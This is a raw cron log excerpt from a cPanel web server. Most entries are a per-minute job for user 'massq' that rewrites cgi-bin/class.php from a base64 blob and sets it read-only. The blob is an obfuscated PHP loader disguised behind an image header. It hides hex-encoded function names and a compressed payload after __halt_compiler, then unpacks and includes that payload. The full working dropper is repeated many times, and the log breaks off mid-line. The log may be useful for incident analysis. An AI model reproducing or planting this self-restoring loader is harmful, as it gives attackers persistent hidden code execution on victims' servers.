Apr 11 05:52:01 server CROND[26704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:52:01 server CROND[26705]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Apr 11 05:53:01 server CROND[26798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:54:01 server CROND[26843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:55:01 server CROND[26998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:55:01 server CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:55:01 server CROND[27000]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:56:01 server CROND[27102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:57:01 server CROND[27167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 05:57:01 server CROND[27169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:58:01 server CROND[27219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:59:01 server CROND[27275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:00:01 server CROND[27400]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Apr 11 06:00:01 server CROND[27402]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 06:00:01 server CROND[27404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:00:01 server CROND[27406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:00:01 server CROND[27407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:00:01 server CROND[27405]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 06:01:01 server CROND[27572]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 06:01:01 server CROND[27573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:01:01 server run-parts(/etc/cron.hourly)[27572]: starting 0anacron
Apr 11 06:01:01 server run-parts(/etc/cron.hourly)[27585]: finished 0anacron
Apr 11 06:02:01 server CROND[27653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:03:01 server CROND[27705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:04:01 server CROND[27766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 06:05:01 server CROND[27830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 06:05:01 server CROND[27831]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 06:05:01 server CROND[27833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 